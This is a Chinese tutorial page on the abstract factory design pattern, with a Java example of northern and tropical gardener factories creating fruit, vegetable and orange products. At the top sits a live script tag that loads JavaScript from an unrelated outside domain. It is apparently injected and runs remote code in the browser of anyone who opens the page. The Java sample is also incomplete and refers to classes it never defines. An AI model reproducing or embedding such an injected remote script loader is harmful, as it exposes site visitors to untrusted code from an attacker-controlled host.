设计模式-抽象工厂模式

<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>

 

三:抽象工厂模式

  向客户端提供一个接口,使得客户端在不必指定产品的具体类型的情况下,创建多个产品族中的产品对象。“抽象”来自“抽象产品角色”, 而“抽象工厂”是抽象产品角色的工厂。该模式是针对多个产品等级结构的系统设计。而工厂方法模式则是针对单个产品等级结构的设计。

 

产品等级结构和产品族的相图如下:

角色:

抽象工厂角色

具体工厂类角色

抽象产品角色

具体产品角色

有多少个产品族就有多少个具体工厂类,一个产品族中有多少个等级结构就应该有多少工厂方法。当一个系统中增加了一个等级结构就必须修改所有的工厂,所以此时对“开-闭”原则的支持则不足

实例:

产品族:北方水果、热带水果;产品等级结构:苹果、桔子、蔬菜

interface Vegiee {}
interface Orange {}
interface Fruit {}
class NorthernFruit implements Fruit {

	private String name;
	
	public NorthernFruit(String name) {
		this.name = name;
	}

	public String getName() {
		return name;
	}

	public void setName(String name) {
		this.name = name;
	}
	
}
....
class TropicalFruit implements Fruit {

        private String name;
	
	public TropicalFruit(String name) {
		this.name = name;
	}

	public String getName() {
		return name;
	}

	public void setName(String name) {
		this.name = name;
	}
	
}


interface Gardener {

        public Fruit createFruit(String name);

	public Vegiee createVegiee(String name);

	public Orange createOrange(String name);
}
class NorthernGardener implements Gardener {

	public Fruit createFruit(String name) {
		return new NorthernFruit(name);
	}
	
	public Vegiee createVegiee(String name) {
		return new NorthernVegiee(name);
	}
	
	public Orange createOrange(String name) {
		return new NorthernOrange(name);
	}
}
class TropicalGardener implements Gardener {

	public Fruit createFruit(String name) {
		return new TropicalFruit(name);
	}

	public Vegiee createVegiee(String name) {
		return new TropicalVegiee(name);
	}

	public Orange createOrange(String name) {
		return new TropicalOrange(name);
	}
}
 

 

你可能感兴趣的:(设计模式,抽象工厂模式)